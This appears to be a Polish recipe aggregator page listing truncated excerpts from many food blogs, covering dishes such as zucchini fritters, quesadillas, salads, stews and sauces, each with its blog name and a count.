wyłuskanego bobu 1 ząbek czosnku 1 cebula 1 łyżeczka suszonego majeranku 1/4 szkl. pestek słonecznika + garść do posypania kilka gałązek natki pietruszki 1 łyżka masła sól i pieprz Sos ogórkowy 6 średnich gruntowych ogórków 50 g. masła sok i skórka otarta z ćwiartki cytryny kilka listków szałwii sól, pieprz i cukier do smaku Bób ugotuj w lekko osolonej wodzie, ostudź

Delicious Place
QUESADILLA Z KURCZAKIEM, PAPRYKĄ I CZERWONĄ FASOLĄ 573

różnych odległościach kurczaka, paprykę oraz odcedzoną, wysuszoną fasolę. Ścieramy ponownie ser i zakrywamy drugą tortillą. Wkładamy do piekarnika i pieczemy w 180 C przez 15 minut. Podajemy z wędzonym sosem

chefintheforest
Proste placuszki z cukinii 164

cukinii. Idealne na obiad lub kolacje. Bardzo szybko się je robi, a znikają jeszcze szybciej. Idealne dla wielbicieli cukinii i prostych, lekkich dań. Można je podać np. z sosem czosnkowy na bazie jogurtu naturalnego albo zjeść na samo. Placuszki dobrze smakują również na zimno, a więc świetnie sprawdzą się też jako posiłek na wynos. Składniki (ok. 10 placuszków): 1 bardzo

Healthy food explorer
Lekka sałatka z tuńczykiem i warzywami 191

moja baza do sałatek, które potem wzbogacam o produkty, które akurat mam pod ręką :) Świetna szybka sałatka na śniadanie, kolację lub lekki lunch. Składniki (2 porcje): puszka tuńczyka w sosie własnym  1/2 dojrzałego awokado  1/2 czerwonej papryki  1/2 średniej czerwonej cebuli  mała puszka kukurydzy z czerwoną fasolką  1 pomidor  łyżka pokrojonej pietruszki lub kolendry

Healthy food explorer
Polędwiczka cielęca w sosie grzybowym 334

idealnego przepisu na pyszne i bardzo proste do zrobienia polędwiczki cielęce  to gorąco polecam Ci mój sposób. Polędwica cielęca marynowana w czosnku i maśle a następnie smażona w sosie grzybowym. Identycznie możesz też przygotować polędwiczki wieprzowe. To danie fantastycznie smakuje z makaronem, świeżym pieczywem lub kaszą gryczaną niepaloną

AniaGotuje.pl
Koktajl malinowy z płatkami 135

deseru jest dniem straconym jak to mówią. Szczególnie w takie upały jak teraz mamy, zimne napoje oraz jedzenie jest bardzo pożądane. Na obiad możemy sobie zaserwować placki wytrawne z sosem na zimno, a na deser ten oto przepyszny deser. Co najważniejsze jest to deser pełnowartościowy! Zawiera wszystkie potrzebne makroskładniki, aby się nim najeść i zapewnić odpowiednie zapotrzebowanie organizmowi. Można

Zdrowie i pysznie na talerzu
Pikantne placuszki z porem 164

ilość oleju (dno patelni powinno być przykryte). Przy pomocy łyżki nakładamy porcję ciasta, formujemy małe placuszki i posypujemy sezamem. Smażymy na oleju na złoty kolor. Placuszki podałam z domowym sosem czosnkowym. Notes Placuszki świetnie smakują zarówno na ciepło jak i na zimno. By Małgorzata Hert Adapted from Tesco Recipe Adapted from Tesco Recipe Wędrówki po kuchni http://www.wedrowkipokuchni.com.pl

Wędrówki po kuchni
Makaron vermicelli z kurczakiem i pieczarkami 331

Cieniutki makaron z aromatycznym kurczakiem marynowanym w sosie sojowym, imbirze i occie ryżowym. Pomysł na szybkie danie obiadowe. Kurczaka oczyścić i pokroić w kostkę. W naczyniu wymieszać mięso z dwoma

Bullio
Galette ze śliwkami 177

owoce, posypać cukrem. Galette wstawić do nagrzanego piekarnika, piec ok 30 minut w temp. 180stC (grzanie góra-dół lub dół+wentylator) Podawać na ciepło np. z gałką lodów lub sosem waniliowym. Smacznego

Obiad gotowy
Surówka „Hawajska” z cukinii i brzoskwiń 134

przekrawamy na pół , wyjmujemy pestkę i kroimy w księżyce . Chilli , siekamy w cieniutkie plasterki . Mieszamy z cukinią , brzoskwinią i chilli . W szklance łączymy miód , ocet jabłkowy i odrobinę soli . Sosem polewamy warzywa , delikatnie mieszamy , odstawiamy na około 20 minut . Po tym czasie , surówka hawajska jest gotowa ,mieszamy ostatni raz i możemy serwować . Smacznego!   Artykuł Surówka „Hawajska

Ogrodnik w podróży
Zapiekanki na cieście francuskim 133

Szybka przekąska, doskonale smakują z sosem czosnkowym. Składniki: ciasto francuskie pimidor 4 pomidorki suszone w zalewie z ziołami 100 g sera mozzarella (użyłam tartego) listki bazylii kilka plastrów szynki Ciasto francuskie kroję w prostokąty, na ciasto układam przekrojone w paski plastry szynki, pomidory w plastrach, posiekane suszone pomidory z posiekaną bazylią, zasypujemy wszystko mozzarellą i pieczemy w 180 stopniach przez

MojaQchnia.pl
Bakłażan faszerowany mięsem mielonym 194

serem. Nie użyłam za dużo czosnku gdyż nie mogę go jeść ale jeśli jesteście fanami możecie zamiast jednego ząbka użyć dwóch bądź trzech. Pomidory z puszki używamy wraz z sosem. Lubisz bakłażan? Jeśli tak to koniecznie wypróbuj nasz przepis na Śródziemnomorską sałatkę z bakłażana i ciecierzycy . The post Bakłażan faszerowany mięsem mielonym appeared first on MeCooks

mecooks
Mega paprykowe leczo 147

doczekać. Jest to wersja najprostrza, a mimo to pyszna. Wystarczy nam jeden garnek i podstawowe składniki.  Wszystko kroimy, wrzucamy do gara i cudo gotowe. PS. zdjęcie przed dodaniem sosu ;) Składniki: 2 łyżki tłuszczu (olej, oliwa, smalec, co kto chce) 2 cebule 200 g kiełbasy 2 ząbki czosnku 2-3 papryki (najlepiej różnych kolorów) 2 łyżeczki słodkiej papryki w proszku

W kuchni bez szafek
KUCHENNA APTEKA #12 - CUKINIA 167

różnym okresie wzrostu i na różnym etapie dojrzewania. Cukinia jest młoda, jędrna, a kabaczek to nazwa cukinii dojrzałej, większej, z pestkami Przepisy z cukinią  1) CUKINIOWE SPAGHETTI Z SOSEM SEROWYM 2) RUSTYKALNA TARTA Z CUKINIĄ 3) CUKINIA FASZEROWANA PĘCZAKIEM 4) KORZENNE CIASTO CUKINIOWE 5) MEDALIONY INDYCZE W CIEŚCIE CUKINIOWYM 6) ZUPA Z PIECZONEJ CUKINII Z TYMIANKIEM

Kuchnia MagdaLeny
Pulpety gotowane na parze 187

być to dla niego pestka Bierzemy się zatem do pracy. Polecam wam także mój przepis na domowy rosół z kury . Ponadto możecie też przygotować sobie kurczaka w ananasach z sosem barbecue . Zobacz mój film z przygotowania pulpetów Składniki – Pulpety gotowane na parze 500 g mięsa mielonego wieprzowego 1 jajko pół cebuli pół szklanki bułki tartej 2 ząbki czosnku łyżeczka

Kuchennyviral.pl
Kwiaty cukinii w cieście 189

siebie , tak by się stykały smażymy na wolnym ogniu 3-4 min i odwracamy.. znów smażymy 3-4 min . Tak przygotowany placek zsuwamy na talerz i podajemy z sosami lub keczupem

Gotowanie jest łatwe
Chili con carne 151

fasolę i dusić, aż się otworzy. W międzyczasie do blendera wlać passatę, wrzucić całą, umyta dymkę, kolendrę, suszoną paprykę wędzoną, chilli, sól i pieprz oraz upieczoną paprykę i zblendować. Sos wylać do fasoli i z powrotem dodać pulpety. Dusić około 5 minut razem. Można przyprawić jeszcze do smaku solą i pieprzem. Podawać z kaszą, jogurtem i kolendrą. 1 porcja zawiera

Katarzyna Skórska - dietetyk kliniczny
Szynka parmeńska – z czym ją podawać? Dlaczego jest tak wyjątkowa? 205

się jako główny składnik dania, jak i jako dodatek, na przykład do pizzy czy tortellini. Lepiej jednak unikać łączenia jej z produktami z dodatkiem octu – o ile nie użyjemy sosu vinegret, nada się do sałatek. Włosi uwielbiają szybkie przystawki z szynki, mocno schłodzonego melona i białego pieczywa. Szynka parmeńska z melonem Znakomitym pomysłem na lekkie, ale jednocześnie pożywne danie jest

Mojewlasne.pl
Przepis #160 Naleśniki Meksykańskie 169

farsz a następnie zwijamy w rulon.  Posypujemy serem i zapiekamy w piekarniku około 10 min - do roztopienia sera.  Naleśniki świetnie smakują podane z keczupem lub domowej roboty sosem czosnkowym na bazie jogurtu. Smacznego

Health-Fit-Life
Duszona wołowina 174

dusić powoli pod przykryciem kolejne 60 minut. Pamiętać, aby co pewien czas zamieszać. Następnie przyprawić koncentratem, pieprzem i solą, dusić do miękkości mięsa. Mięso powinno być miękkie, a sos dość gęsty. Przed podaniem odczekać około 5 minut. Duszona wołowina dobrze smakuje z ziemniakami, kaszą lub świeżym pieczywem. Zobacz również: wołowina po burgundzku

Kuchcik gotuje
Nordycki naleśnik z piekarnika... 177

powiedziała. Pyszny oprószony cukrem pudrem, wspaniały z golden syrup, oraz ze świeżymi truskawkami. Zapewne sprawdzi się też z innymi dodatkami - kleksem bitej śmietany, dobrym dżemem, puszkowanymi owocami, czy sosem czekoladowym. Przepis z bloga My Blue&White Kitchen . Składniki: (na 1 bardzo duży, na blaszkę okolice 40/30cm) 1 litr mleka 3 łyżki cukru granulowanego 3/4 łyżeczki soli 4 jajka

Lejdi of the house
Sałatka z ogórkiem i rzodkiewką 154

smaku solą i czarnym pieprzem mielonym. Całość dokładnie wymieszać. Do osobnej miseczki przełożyć gęsty jogurt naturalny lub jogurt grecki i majonez. Doprawić solą i pieprzem, wymieszać. Tak przygotowanym sosem polać sałatkę. Sałatka z ogórkiem i rzodkiewką najlepiej smakuje schłodzona. Artykuł Sałatka z ogórkiem i rzodkiewką pochodzi z serwisu WSZYSTKO SMACZNE

WSZYSTKO SMACZNE
Kapusta z miesem z wolnowaru 194

upały zelżały postanowiłam zrobić je ponownie, ale nie na piecyku w garnku tradycyjnie jak zawsze lecz w wolnowarze. Wyszło jak zwykle pyszne, udało się doskonale. Mięso było kruche, sos wyśmienity, kapusta idealnie miękka. Zapraszam na kapustę z mięsem. Przepis tradycyjnie przygotowane tutaj . Czytaj więcej

Bernika - moj kulinarny pamietnik
Makaron z cukinią i boczkiem 243

cukinią i boczkiem to bardzo szybkie danie. Doskonale sprawdzi się w gorące dni. Starta na tarce cukinia puszcza dużo soku, dzięki czemu na patelni tworzy się delikatny warzywny sos. 1 duża cukinia 150 g surowego boczku 2 marchewki 3 ząbki czosnku 250 g makaronu (np. rurki) sól i pieprz do smaku Makaron gotujemy al dente, przelewamy zimną wodą i odstawiamy

Dieta bez mleka
Warzywny gulasz z ciecierzycą 130

minut i gotujemy, w razie potrzeby zmniejszając temperaturę. Po tym czasie dodajemy przecier pomidorowy oraz odsączoną i opłukaną cieciorkę. Dusimy pod przykryciem około kolejne 15 minut. Gdy sos zgęstnieje, doprawiamy go solą i mieloną papryką. Przed podaniem posypujemy natką i ziarenkami pieprzu. Podajemy z pieczywem. Smacznego :) Wpis powstał we współpracy z producentem kuchenki MPM MKE-06. #włączgościnność http://wlaczgoscinnosc.pl

Mienta blog
Domowe przetwory z jabłek 214

mirabelek . Jest znakomity do ciasta drożdżowego i lasagne na słodko . Gdy dojrzeją pigwowce i aronia, warto zrobić konfiturę z jabłek, aronii i odrobiny pigwowców . Używam jej bardzo często do sosów z pulpetami i serów. Jeśli macie dużo jabłek, możecie zrobić cydr. To lekko gazowany napój alkoholowy, który doskonale orzeźwia. Nadmiar jabłek można również pokroić na cząstki i ususzyć. Suszone jabłka

Weekendy w domu i ogrodzie
Ziemniaczana sałatka norweska 185

ostygnięcia . Ostudzone ziemniaki , przekrawamy na połówki , przekładamy do miski . W osobnej miseczce mieszamy ze sobą jogurt,majonez , wyciśnięty praską czosnek , posiekaną cebulkę, koperek , pieprz , cukier i sól . Cały sos przelewamy do ziemniaków , mieszamy i odstawiamy do lodówki na co najmniej kilka godzin . Sałatka ziemniaczana , im bardziej schłodzona , tym lepsza . Podajemy w dowolny sposób , solo lub w towarzystwie mięsa . Smacznego ! Artykuł

Ogrodnik w podróży
Kiszona salsa wielowarzywna 329

Zarówno ogórki jak i pomidory chętnie kiszę , ale oddzielnie. Tym razem połączyłam je w salsie, czyli czymś pomiędzy sosem z kawałków warzyw a drobno pokrojoną sałatką. Warzywa nie są poddawane obróbce cieplnej więc mogę nazwać to salsa cruda. Taka kiszona salsa jest doskonałym dodatkiem do smażonych ryb , grillowanego mięsa czy pieczonych warzyw korzeniowych. Prawdziwa mała bomba witaminowa. Kiszona salsa albo

Smaczna Pyza
GRILLOWANA TORTILLA Z KURCZAKIEM I SEREM 161

tortilla się nie przypaliła. Po tym czasie tortille odwrócić na drugą stronę i smażyć kolejne 3-4 minuty. Tortille pokroić w trójkąty. Można podawać z ketchupem, majonezem lub ulubionym sosem

Zrób to smacznie
Żeberka z boczniakami 340

Składniki: 1 kg żeberek 30 dkg boczniaków 1 cebula kilka ziaren jałowca 1/2 łyżeczki majeranku 1/2 łyżki pasty z węgierskich ostrych papryczek 1 łyża octu winnego 3 łyżki sosu worchester … Czytaj dalej Żeberka z boczniakami

czarrna od kuchni
Jaglane kotlety piri – piri 202

Piri – piri to odmiana szczególnie znanej ze swej ostrości papryczki chilli, docenianej zwłaszcza w Portugalii oraz krajach Afryki. Jest podstawą sosów i marynat, które właśnie od niej czerpią swoją nazwę. Często mianem „piri – piri” określa się również całe dania, które oprócz wspomnianych papryczek doprawiane są zwykle wędzoną papryką, skórką i sokiem z cytryny, zieloną pietruszką oraz czosnkiem. Ta wyrazista mieszanka

Even Better Food
Kotleciki z kalafiora i cukinii – wegańskie i bezglutenowe – przepis krok po kroku 245

może macie jakieś ulubione? Jeśli tak, koniecznie dajcie znać!   Smacznego!   A jeśli szukacie przepisu na wywar warzywny, koniecznie zajrzyjcie tutaj: Wywar warzywny – baza do zup i sosów (dieta dr Dąbrowskiej) – przepis krok po kroku Artykuł Kotleciki z kalafiora i cukinii – wegańskie i bezglutenowe – przepis krok po kroku pochodzi z serwisu Okiem Blondynki by McBlondi

Okiem Blondynki by McBlondi
Zapiekanki z cukinii – przepis krok po kroku 168

minut.   I to już wszystko. Nasze zapiekanki z cukinii są już gotowe. Teraz wystarczy je podać i rozkoszować się ich smakiem. Można je jeszcze polać ketchupem lub ulubionym sosem.   Zdarza się Wam przygotowywać warzywne zapiekanki? Lubicie takie warzywne zamienniki tradycyjnych dań? Smacznego!   A jeśli szukacie pomysłów na dania z wykorzystaniem cukinii, polecam inne moje przepisy:   Spaghetti

Okiem Blondynki by McBlondi
CIECIERZYCA W SOSIE MANGO 269

daniu główną rolę odgrywa sos na bazie kokosa i mango, utrzymany w stylu kuchni indyjskiej. Potrawa jest aromatycznie przyprawiona:) Czytaj więcej

Kasia Sarna
Fasolka szparagowa z pomidorową salsą 224

wyjadaną prosto z garnka bez omasty, ale nieustannie poszukuję nowych pomysłów. Dziś zapraszam na fasolkę z pomidorową salsą. Kolorowa i kapitalnie komponuje się smakowo z kwaskowatymi pomidorami. Salsa (czyli sos) to prosty dodatek zapożyczony z kuchni meksykańskiej. Idealny dodatek do każdego letniego obiadu, w większej ilości samodzielne danie kolacyjne. Tak samo smaczna na ciepło i na zimno. Po prostu pycha

Gotuj zdrowo!Guten Appetit!
Jak zrobić dżem? 389

robieniem przetworów w moim wykonaniu bywa różnie. Dżemy? Proszę bardzo. Sosy warzywne, przeciery i inne mamałygi – z przyjemnością. Ogórki i reszta grubego kalibru już nie, bo się boję, że mi słoiki wybuchną. Strach mój nie jest bezpodstawny. Moja kiszona kapusta strzeliła tak, że sąsiad myślał, że wojnę mu wypowiedziałam i rozpoczynam ostrzał jego posesji. W tym roku postawiłam

ladykitchen
Pasta kanapkowa z sera i szynki konserwowej 286

Cebulę drobno siekamy. Przelewamy na sicie niewielką ilością wrzątku. Roszponkę myjemy, a następnie osuszamy. Majonez mieszamy z ketchupem. Doprawiamy solą oraz pieprzem. Wszystkie składniki umieszczamy w misce, mieszamy z sosem. Podajemy na grubo krojonej kromce bagietki lub weki

Smaki Na Talerzu
Placuszki z cukinii i ziemniaków 144

patelni rozgrzałem mocno olej. Uformowałem placuszki, każdy z jednej łyżki masy. Smażyłem z obu stron na złoty kolor. Gotowe placuszki osączyłem z nadmiaru tłuszczu na papierowym ręczniku. Podałem z sosem

R'n'G Kitchen
Burgery z czerwonej fasoli 213

olejem. Tniemy cebulę w piórka i podsmażamy na patelni. Po chwili dodajemy cukier, miód,   tymianek i smażymy kilka chwil. Następnie dolewamy wina i redukujemy, aż powstanie aromatyczny sos. Bułki przekrajamy na pół i lekko podsmażamy aby były chrupie. Nakładamy kotlety, dodatki oraz konfiturę z cebuli. Podajemy na ciepło, od razu po przygotowaniu. Smacznego

Kolizje Smaków
Grillowana tortilla z kurczakiem i warzywami 196

Przygotowanie : Pierś z kurczaka kroimy w kostkę i smażymy z oregano, bazylią, papryką słodką i ostrą, a także solą himalajską. Jogurt, ketchup i musztardę mieszamy w miseczce i takim sosem smarujemy wcześniej przygotowane tortille. Nakładamy usmażonego kurczaka, kukurydzę, pokrojoną w piórka cebulę oraz pokrojoną w paseczki paprykę. Dodatkowo możemy dodać dowolne świeże warzywa oraz ser. Tortillę zwijamy i grillujemy

Czarnawisienka
pikantny "ketchup" z cukinii 592

dnem, dodać cukier, rozdrobniony czosnek, posiekaną papryczkę i przyprawy.Gotować na małym ogniu około 20 minut. Po tym czasie dodać przecier pomidorowy i ocet. Gotować jeszcze kilka minut. Gorący sos przelać do butelek, zakręcać od razu i układać do góry dnem. Dla pewności można zapasteryzować

Domowa Cukierenka-Domowa Kuchnia
Naleśniki starokornickie 158

musiałam ich spróbować i tak oto w lipcowy dzionek zajadam naleśniki starokornickie. Naleśniki smakują wybornie o każdej porze roku więc zachęcam do spróbowania. Pyszne nadzienie twarogowe i kwaskowaty sos, rewelacja, zapraszam. Naleśniki starokornickie. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Zapiekanka kajzerkowa 690

plastry. Śmietanę wymieszać z ketchupem, doprawić solą i pieprzem i zalać zapiekankę. Na sam wierzch ułożyć plastry sera. Piec w piekarniku nagrzanym do 180 stopni C do momentu aż sos zgęstnieje, a góra będzie rumiana. Po upieczeniu posypać koperkiem. zapiekanka kajzerkowa

O kuchni z uczuciem
Klopsiki duszone z młodą kapustą 432

natkę pietruszki i koperek, długo nie gotować, gdyż młoda kapusta zbyt mocno się rozpadnie, a zielenina straci kolor. Podawać z ugotowanymi młodymi ziemniakami. Zobacz również: klopsiki z indyka w sosie koperkowym

Kuchcik gotuje
Domowa konserwa. Mięsiwo w słoiku 228

smaku czy zapachu. Później można takie mięsiwo w słoiku zabrać ze sobą na wycieczkę , piknik czy po prostu mieć je w spiżarni jako awaryjne smarowidło do kanapek. Wieprzowina w sosie własnym czyli domowa konserwa mięsna w słoikach ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Jeleń z maślanym puree, smażoną fasolką i sosem malinowo-śliwkowym 190

doskonale do siebie pasują. Stek z jelenia pocięty na plasterki, do tego maślano-czosnkowe puree i fasolka szparagowa smażona z boczkiem i czosnkiem, podsmażone kurki i pieczarki oraz doskonały sos malinowo-śliwkowy

Milion Smaków
ZAPIEKANY RYŻ Z JABŁKAMI 203

drugą połową ryżu.Odstawiamy na trochę. W tym czasie robimy sosik śmietankowy.W osobnej miseczce mieszamy śmietanę,cukier waniliowy i cukier puder aż powstanie sos.Na powierzchni ryżu rozkładamy sos. Gotowy ryż zapiekamy w piekarniku nagrzanym do 180C z termoobiegiem około 30 minut.Jeśli bez termoobiegu to 190C i pieczemy ok.35-40 minut do zrumienienia się polewy śmietankowej :). Zapieczony ryż po wyjęciu

Mała w garnku miesza
Sałatka z brokułem 1.0, Green Velo 207

parze, podzielony na różyczki 1 duża garść żurawiny 1 opakowanie fety, pokrojonego w kostkę 1 duża garść prażonych ziaren słonecznika Wszystkie składniki wymieszać w dużej misce i polać sosem, np. czosnkowym. Smacznego! Przedstawiać pewnie nie trzeba. Kto lubi jazdę rowerową i piękne widoki, to wie o co chodzi :). Trasa Rzeszów - Łańcut i powrotna. nagroda w Piktonówce (centrum Łańcuta) Broccoli salad

Qlinarnie i Qlinarnie
Sos z kurek 306

więc niech kurki zagoszczą na naszych stołach. Warto sięgać po te grzyby,poniewaz są bardzo smaczne, zawierają między innymi witaminę C i D oraz dużo potasu. Dzisiaj proponuję Wam sos z mrożonych kurek-zeszłoroczne zapasy. SKŁADNIKI: 300 g kurek 2 łyżki masła 250 ml śmietanki 30% 1 łyżka kwaśnej śmietany 1 cebula pęczek pietruszki sól,pieprz WYKONANIE: masło rozgrzać, zeszklić

Kuchnia Beaty
Kotlety z kalafiora 186

możesz też smażyć na suchej patelni, jeśli masz taką nieprzywierającą), z masy formuj niewielkie kotleciki. Smaż je ok. 5 minut, tak aby stały się złociste. Gotowe kotleciki podawaj z sosem czosnkowym. Smacznego Czytaj więcej – przepisy w stylu #niemarnuję Artykuł Kotlety z kalafiora pochodzi z serwisu 365 dni dookoła kuchni

365 dni dookoła kuchni
Sałatka z fasolki szparagowej z serem feta, pomidorkami, prażonym słonecznikiem i świeżą bazylią 186

kilogramy. Z pozostałej postanowiłam zrobić sałatkę, która nada się również na obiad w upalny dzień. Sałatka jest bardzo prosta i szybka do zrobienia. Nie trzeba jej koniecznie dosmaczać żadnymi sosami, gdyż najwięcej smaku doda ser feta.  Składniki: 300 g fasolki szparagowej 200 g sera feta 200 g pomidorków koktajlowych 3-4 łyżki łuskanego słonecznika listki świeżej bazyli i Fasolkę

Codzienna kuchnia niecodzienna
KOTLETY JAJECZNO- KALAFIOROWE 141

smaczne i bezmięsne danie idealne na piątkowy obiad. Tak naprawdę przepis można modyfikować na wiele sposobów, dodając przeróżne dodatki. Kotleciki doskonale smakują podane z ziemniakami ze świeżym koperkiem, lub sosem pieczarkowym. Polecam :) Składniki: * 1 średni kalafior * 6 jajek ugotowanych na twardo * 1 surowe jajko * pół pęczka świeżego koperku * około 1/2 szklanki bułki tartej + bułka tarta do obtoczenia * sól i pieprz

Zrób to smacznie
Quinoa z ogórkiem, pomidorem i miętą 291

studzimy. W międzyczasie kroimy warzywa – ogórka i pomidora w cienkie paski a czerwoną cebulę w drobną kostkę. Natkę pietruszki i miętę siekamy drobno. Wystudzoną komosę, warzywa i sos łączymy w dużej misce. Gotowe

Dieta bez mleka
Wątróbka wieprzowa z cebulką 216

jednej stronie, a następnie na drugiej, bez zbędnego przewracania, a także podczas smażenia nie nakłuwać jej widelcem, aby nie pryskała. Zobacz też: Karkówka z pieczarkami Polędwiczki w kremowym sosie własnym Gulasz z jelenia na czerwonym winie z pieczarkami Przepis na wątróbkę wieprzową z cebulką Drukuj przepis Porcji: 3 Czas gotowania: 15 minut Składniki 500 g wątróbki wieprzowej mąka do obtaczania

Kuchnia Bazylii
Kieszonki z kurczaka w płatkach kukurydzianych z serem pleśniowym 373

Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Kieszonki z kurczaka nadziewane serkiem topionym z szynką i bazylią → Piersi z kurczaka w płatkach kukurydzianych → Piersi z kurczaka w sosie śmietanowo-koperkowym → Piersi kurczaka z orzechowo-pietruszkowym pesto i pieczonymi pomidorkami koktajlowymi → Kieszonki z piersi kurczaka z jagodami goji i orzechami nerkowca na szafranowym puree z kalafiora

Oryginalny smak
Sałatka Dziada 184

kostkę. Dodajemy pokrojone w kosteczkę ogórki, cebulę i parówki. Na sam koniec dodajemy odsączoną kukurydzę. W osobnej misce mieszamy ze sobą musztardę i majonez doprawiając przyprawami. Kiedy się dwa sosy połączą łączymy je z pozostałymi składnikami i wszystko razem mieszamy

W Moim Magicznym Domu
Jedzonko do pracy #64 158

mój dzisiejszy zestaw przypadnie Wam do gustu i wykorzystacie te pomysły u siebie ;)  Śniadanie Frittata z bobem i pomidorkami Lunch: Makaron z bobem i pomidorkami w sosie z jogurtu greckiego, z dodatkiem soku z cytryny i papryczki chilli. Smacznego

Codzienne Gotowanie
Kotleciki z kalafiora 154

jest smakoszem, ale mogą być fajną i zdrową alternatywą. Kotleciki bardzo fajnie sprawdzają się nie tylko jako część głównego dania, ale również w burgerach! Wspaniale komponują się z różnymi sosami i dodatkami. U mnie na talerzu zawitały w towarzystwie ryżu i sałatki z cukinii , ale tak jak już wspomniałem… dobór dodatków jest dowolny. U mnie z podanych składników wyszło

Blendman
CUKINIA FASZEROWANA TUŃCZYKIEM, SZAŁWIĄ I MAKARONEM 191

szałwią. Całe danie wyszło lekkie i pyszne. Makaron łezki idealnie sprawdzi się w sałatkach i przystawkach.  Składniki: 120 g makaronu Łezki Arc Pol 1 puszka tuńczyka w sosie własnym pól op. ricotty 1/2 pęczka szałwii 3-4 cukinie kuliste 1 szalotka 1 ząbek czosnku 1 łyżka oliwy z oliwek 1 jajko sól pieprz garść sera żółtego startego Makaron łezki

Kuchnia w oparach
Buraki pieczone 158

Buraki pieczone powstają u mnie w różnych połączeniach. Najczęściej pada na słupki pokrojone razem z ziemniakami, dynią, marchewką, pietruszką i ćwiartkami cebuli pieczone i podawane z sosem lub do wszelakich gulaszy i mięs. Dziś same buraki pieczone: do obiadu, np. starte drobno lub w kosteczce, na sałatkę (z fetą i rukolą), na zupę, np. krem, mi zdarza się podjadać same

Zasmakuj Kuchni
Curry z ziemniaków i kalafiora 119

kolejna odsłona zupy curry: tym razem na bazie nieśmiertelnych ziemniaków i kalafiora z dodatkiem fasolki szparagowej, a wszystko przyrządzone w smakowicie doprawionym sosie z dodatkiem pomidorów. Polecam Składniki: 700 g ziemniaków 300 g świeżego surowego kalafiora 1 duża garść fasolki szparagowej (świeżej lub mrożonej, opcjonalnie) 1 cebula 3 ząbki czosnku 3 cm korzenia imbiru przyprawy: 1 łyżeczka przyprawy curry

Lamarida.pl
GOFRY „FRANCUSKIE” Z MASŁEM ORZECHOWYM I BANANAMI ( nadziewane ) 175

marką MPM przygotowałam dla Was takie, jakich jeszcze nie było! #mpm #właczgoscinnosc Z ciasta francuskiego ( domowe, przepis TUTAJ , nadziewane masłem orzechowym i bananami. Podane z waniliowymi lodami i sosem czekoladowym tworzą obłędną całość, której nikt się nie oprze!! Ps. do środka gofrów możemy włożyć inne dodatki – prażone jabłka, dżem albo kawałki czekolady ! Co tylko chcecie! Będzie pysznie! SKŁADNIKI: * ciasto

Ostra na Słodko
Smażone cukinie z dressingiem z maślanki. Przepis krok po kroku. 158

kaloryczne. W każdym razie, jak kto woli ja smażyłem cukinie bez dodatku mąki czy bułki tartej. Boski dressing   Maślanka nie jest może najpopularniejszym składnikiem sosów do sałatek itp. Zdecydowanie dominuje oliwa z oliwek, ale polecam wypróbować, będziecie zachwyceni. Jest cudownie lekka, kwaskowa, pięknie otula sałaty oraz warzywa. Na bazie maślanki

kuron.com.pl
Wiśnie w cukrze 193

Wiśnie w cukrze to dodatek idealny do lodów, deserów, ciast jak i baza do przygotowania sosów. Całość prosta do przygotowania, a wiśnie w cukrze  są idealne w smaku! Składniki: wiśnie cukier sok z cytryny odrobina przegotowanej wody Wiśnie umyć i wydrylować. Do umytych, wyparzonych i suchych słoików wkładać wiśnie, następnie przesypać to 2 łyżkami zwykłego cukru. Delikatnie ubić

Ugotować
Szare kluski z surowych ziemniaków 676

ponieważ delikatnie szarzeją w wyniku utleniania, choć moje, z dodatkiem jajek od szczęśliwej kurki kompletnie nie są sine, a przyjemnie żółte 😊 Zamiast boczku i kapusty wybornie smakują z wszelkimi sosami, gulaszem, twarogiem czy po porostu polane śmietaną. 3-4 porcje: * ziemniaki- 800 g * mąka pszenna- 1 szklanka* * jajko- 2 szt. * mąka ziemniaczana- 2 łyżki * sól- 1 łyżeczka * pieprz- szczypta Okrasa

Kraina Miodem Płynąca
Tarta z kremem malinowym 171

maliny i delikatnie wymieszaj. Krem wyłóż na wystudzony spód. Wyrównaj wierzch ciasta, a następnie ułóż na nim maliny. Gotową tartę włóż na ok. 2 h do lodówki. Podawaj z sosem malinowym. Czytaj więcej – przepisy z malinami   Artykuł Tarta z kremem malinowym pochodzi z serwisu 365 dni dookoła kuchni

365 dni dookoła kuchni
Langosze 187

masłem czosnkowym) z dodatkiem śmietany i sera żółtego. Ta wersja jest bardzo smaczna, ale według mnie o wiele lepiej sprawdzają się jako dodatek do lecza lub gęstego, mięsnego sosu. Zapraszam również po przepis na pyszne leczo z kiełbasą i warzywami Langosze około 10 sztuk Składniki: 600 g mąki pszennej (u mnie tortowej) + do podsypania ciasta około 400 g ugotowanych

PatiGotuje
Halloumi ze szpinakiem i winegretem malinowym 138

wysokiej temperaturze nie topi się, tylko przypieka (podobnie jak polskie oscypki). Z tego powodu często gości na moim stole w sezonie grillowym ;) Dziś będzie podany z młodym szpinakiem i sosem winegret w wersji malinowe - warto wypróbować to połączenie u siebie w domu

Milion Smaków
Drobiowe szaszłyki z cukinią 170

pieprzem. 3. Fileta nabijać na patyki do szaszłyków naprzemiennie ze zrolowanymi paskami cukinii. 4. Szaszłyki grillować na grillu lub patelni grillowej z każdej strony aż do zrumienienia. Podawać z sosem tzatziki i grillowanymi ziemniakami

Szalona Kuchnia Eweliny
Paluszki z kabanosów 184

Świetna przekąska, łatwa i szybka w przygotowaniu. Doskonale smakuje z różnymi sosami .Dobra zarówno na zimno jak i na ciepło. Składniki Paczka tradycyjnych kabanosów opakowanie ciasta francuskiego sezam do posypania 1 jajko Kabanosy pokroić na paluszki około 10-15 cm długości. Z ciasta pokroić tyle pasków ile jest paluszków o szerokości 1 cm. … Czytaj dalej Paluszki z kabanosów

gotuj ze mną
Sałatka z arbuzem 151

kostkę, starając się na bieżąco usuwać z niego pestki. W szklance mieszamy oliwę, miód i ocet, dodajemy odrobinę wrzątku, doprawiamy solą oraz pieprzem. Tuż przed podaniem polewamy sałatkę przygotowanym sosem

Smaki Na Talerzu
Hummus z burakiem czerwonym. Arabska pasta po polsku. 186

działo bakteriobójczo, grzybobójczo, przeciwwirusowo, antyoksydacyjne i antymutagenne. Żal marnować taki potencjał. Koniecznie zróbcie i napiszcie mi o swoich wrażeniach. Jeżeli podobnie jak ja jesteście miłośnikami chrzanu, koniecznie zajrzyjcie tutaj sos chrzanowy Składniki: 1 puszka ciecierzycy 2 nieduże buraczki czerwone 3 czubate łyżki pasty tahini 1-2 łyżki tartego świeżego chrzanu 1 łyżka miodu 1-2 ząbki czosnku

Fitsweet.me
Pierogi z kapustą świeżą i kiszoną (wegańskie) 169

